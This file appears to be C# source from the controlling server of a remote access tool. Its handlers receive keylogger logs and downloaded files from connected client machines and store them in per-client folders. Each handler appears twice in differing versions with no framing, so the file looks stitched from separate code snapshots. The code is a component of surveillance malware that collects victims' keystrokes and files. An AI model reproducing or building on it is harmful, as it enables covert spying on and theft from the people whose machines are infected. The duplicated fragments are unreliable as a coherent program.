public static void HandleGetLogsResponse(Client client, GetLogsResponse packet) { if (client.Value.FrmKl == null) return; if (packet.FileCount == 0) { client.Value.FrmKl.SetGetLogsEnabled(true); return; } if (string.IsNullOrEmpty(packet.Filename)) return; string downloadPath = Path.Combine(client.Value.DownloadDirectory, "Logs\\"); if (!Directory.Exists(downloadPath)) Directory.CreateDirectory(downloadPath); downloadPath = Path.Combine(downloadPath, packet.Filename + ".html"); FileSplit destFile = new FileSplit(downloadPath); destFile.AppendBlock(packet.Block, packet.CurrentBlock); if (packet.Index == packet.FileCount && (packet.CurrentBlock + 1) == packet.MaxBlocks) { FileInfo[] iFiles = new DirectoryInfo(Path.Combine(client.Value.DownloadDirectory, "Logs\\")).GetFiles(); if (iFiles.Length == 0) return; foreach (FileInfo file in iFiles) { if (client.Value.FrmKl == null) break; client.Value.FrmKl.AddLogToListview(file.Name); } if (client.Value.FrmKl == null) return; client.Value.FrmKl.SetGetLogsEnabled(true); } }
public static void HandleDownloadFileResponse(Client client, DownloadFileResponse packet) { if (CanceledDownloads.ContainsKey(packet.ID) || string.IsNullOrEmpty(packet.Filename)) return; if (!Directory.Exists(client.Value.DownloadDirectory)) Directory.CreateDirectory(client.Value.DownloadDirectory); string downloadPath = Path.Combine(client.Value.DownloadDirectory, packet.Filename); if (packet.CurrentBlock == 0 && File.Exists(downloadPath)) { for (int i = 1; i < 100; i++) { var newFileName = string.Format("{0}_{1}{2}", Path.GetFileNameWithoutExtension(downloadPath), i, Path.GetExtension(downloadPath)); if (File.Exists(Path.Combine(client.Value.DownloadDirectory, newFileName))) continue; downloadPath = Path.Combine(client.Value.DownloadDirectory, newFileName); RenamedFiles.Add(packet.ID, newFileName); break; } } else if (packet.CurrentBlock > 0 && File.Exists(downloadPath) && RenamedFiles.ContainsKey(packet.ID)) { downloadPath = Path.Combine(client.Value.DownloadDirectory, RenamedFiles[packet.ID]); } if (client.Value.FrmFm == null) { FrmMain.Instance.SetStatusByClient(client, "Download aborted, please keep the File Manager open."); new Packets.ServerPackets.DownloadFileCanceled(packet.ID).Execute(client); return; } int index = client.Value.FrmFm.GetTransferIndex(packet.ID.ToString()); if (index < 0) return; if (!string.IsNullOrEmpty(packet.CustomMessage)) { if (client.Value.FrmFm == null) // abort download when form is closed return; client.Value.FrmFm.UpdateTransferStatus(index, packet.CustomMessage, 0); return; } FileSplit destFile = new FileSplit(downloadPath); if (!destFile.AppendBlock(packet.Block, packet.CurrentBlock)) { if (client.Value.FrmFm == null) return; client.Value.FrmFm.UpdateTransferStatus(index, destFile.LastError, 0); return; } decimal progress = Math.Round((decimal) ((double) (packet.CurrentBlock + 1)/(double) packet.MaxBlocks*100.0), 2); if (client.Value.FrmFm == null) return; client.Value.FrmFm.UpdateTransferStatus(index, string.Format("Downloading...({0}%)", progress), -1); if ((packet.CurrentBlock + 1) == packet.MaxBlocks) { if (client.Value.FrmFm == null) return; RenamedFiles.Remove(packet.ID); client.Value.FrmFm.UpdateTransferStatus(index, "Completed", 1); } }
public static void HandleDownloadFileResponse(Client client, DownloadFileResponse packet) { string downloadPath = Path.Combine(Application.StartupPath, "Clients\\" + client.EndPoint.Address.ToString()); if (!Directory.Exists(downloadPath)) Directory.CreateDirectory(downloadPath); downloadPath = Path.Combine(downloadPath, packet.Filename); bool Continue = true; if (packet.CurrentBlock == 0 && File.Exists(downloadPath)) if ( MessageBox.Show(string.Format("The file '{0}' already exists!\nOverwrite it?", packet.Filename), "Overwrite Confirmation", MessageBoxButtons.YesNo, MessageBoxIcon.Question) != DialogResult.Yes) Continue = false; if (client.Value.FrmFm == null) { new Packets.ServerPackets.DownloadFileCanceled(packet.ID).Execute(client); MessageBox.Show("Please keep the File Manager open.\n\nWarning: Download aborted", "Download aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning); return; } int index = 0; try { client.Value.FrmFm.Invoke((MethodInvoker) delegate { foreach (ListViewItem lvi in client.Value.FrmFm.lstTransfers.Items) { if (packet.ID.ToString() == lvi.SubItems[0].Text) { index = lvi.Index; break; } } }); } catch { return; } if (Continue) { if (!string.IsNullOrEmpty(packet.CustomMessage)) { client.Value.FrmFm.Invoke((MethodInvoker) delegate { client.Value.FrmFm.lstTransfers.Items[index].SubItems[1].Text = packet.CustomMessage; client.Value.FrmFm.lstTransfers.Items[index].ImageIndex = 0; }); return; } FileSplit destFile = new FileSplit(downloadPath); if (!destFile.AppendBlock(packet.Block, packet.CurrentBlock)) { client.Value.FrmFm.Invoke((MethodInvoker) delegate { client.Value.FrmFm.lstTransfers.Items[index].SubItems[1].Text = destFile.LastError; client.Value.FrmFm.lstTransfers.Items[index].ImageIndex = 0; }); return; } decimal progress = Math.Round((decimal) ((double) (packet.CurrentBlock + 1)/(double) packet.MaxBlocks*100.0), 2); client.Value.FrmFm.Invoke( (MethodInvoker) delegate { client.Value.FrmFm.lstTransfers.Items[index].SubItems[1].Text = string.Format("Downloading...({0}%)", progress); }); if ((packet.CurrentBlock + 1) == packet.MaxBlocks) { client.Value.FrmFm.Invoke((MethodInvoker) delegate { client.Value.FrmFm.lstTransfers.Items[index].SubItems[1].Text = "Completed"; client.Value.FrmFm.lstTransfers.Items[index].ImageIndex = 1; }); } } else { client.Value.FrmFm.Invoke((MethodInvoker) delegate { client.Value.FrmFm.lstTransfers.Items[index].SubItems[1].Text = "Canceled"; client.Value.FrmFm.lstTransfers.Items[index].ImageIndex = 0; }); } }
public static void HandleGetLogsResponse(Client client, GetLogsResponse packet) { if (client.Value.FrmKl == null) return; if (packet.FileCount == 0) { client.Value.FrmKl.Invoke((MethodInvoker) delegate { client.Value.FrmKl.btnGetLogs.Enabled = true; }); return; } string downloadPath = Path.Combine(Application.StartupPath, "Clients\\" + client.EndPoint.Address.ToString() + "\\Logs\\"); if (!Directory.Exists(downloadPath)) Directory.CreateDirectory(downloadPath); downloadPath = Path.Combine(downloadPath, packet.Filename + ".html"); FileSplit destFile = new FileSplit(downloadPath); destFile.AppendBlock(packet.Block, packet.CurrentBlock); if (packet.Index == packet.FileCount && (packet.CurrentBlock + 1) == packet.MaxBlocks) { FileInfo[] iFiles = new DirectoryInfo(Path.Combine(Application.StartupPath, "Clients\\" + client.EndPoint.Address.ToString() + "\\Logs\\")).GetFiles(); if (iFiles.Length == 0) return; foreach (FileInfo file in iFiles) { var file1 = file; client.Value.FrmKl.Invoke((MethodInvoker)delegate { client.Value.FrmKl.lstLogs.Items.Add(new ListViewItem() { Text = file1.Name }); }); } client.Value.FrmKl.Invoke((MethodInvoker)delegate { client.Value.FrmKl.btnGetLogs.Enabled = true; }); } }